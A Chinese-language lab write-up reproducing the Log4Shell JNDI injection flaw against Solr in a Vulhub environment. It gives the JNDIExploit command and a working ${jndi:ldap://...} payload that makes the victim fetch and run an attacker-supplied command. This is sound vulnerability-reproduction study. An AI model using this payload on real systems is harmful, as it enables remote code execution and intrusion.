复现环境以及使用的工具
环境:使用Vulhub的漏洞环境
工具:bp和JNDIExploit-1-1.2,需要Java环境!!
攻击机和受害机配置
受害机:kali,ip地址为:192.168.150.135。使用vulhub漏洞环境,浏览器访问:http://192.168.150.135:8983/solr/#/
攻击机:windows11,使用JNDIExploit-1-1.2,ip为: 172.16.2.52
其实攻击机最好也为Linux,这样后续反弹shell命令比较方便,但这里只是漏洞复现与验证,所以使用windows作为攻击机
windows攻击机进行漏洞验证
1. 使用命令,开启工具
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.2.52 -p 8983
-i:ip地址
-p:侦听端口,此为工具http侦听端口,可随意。工具会开启LDAP端口1389和-p设置的http端口
2. 使用浏览器访问受害者机服务,并使用BP抓包
访问受害者漏洞网页进行抓包测试:
3. BP修改数据包,注入恶意代码
使用bp将get请求转为post请求,并增加任意参数a = ${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/base64的命令}
这里命令受害机执行touch /tmp/1234,touch /tmp/1234的Base64编码为:dG91Y2ggL3RtcC8xMjM0
a = ${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM0}
该恶意代码利用过程及其作用:
攻击机访问受害者服务,并插入恶意代码${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM0}。受害机则访问172.16.2.52:1389(攻击工具地址),攻击工具则自动构造payload,执行dG91Y2ggL3RtcC8xMjM0
进入受害者机的容器,查看是否攻击成功
上述攻击代码目的是touch /tmp/1234,查看受害者机是否成功创建1234文件
成功创建,漏洞利用成功。则可利用一系列命名使得受害者机反弹shell,这里就不再演示!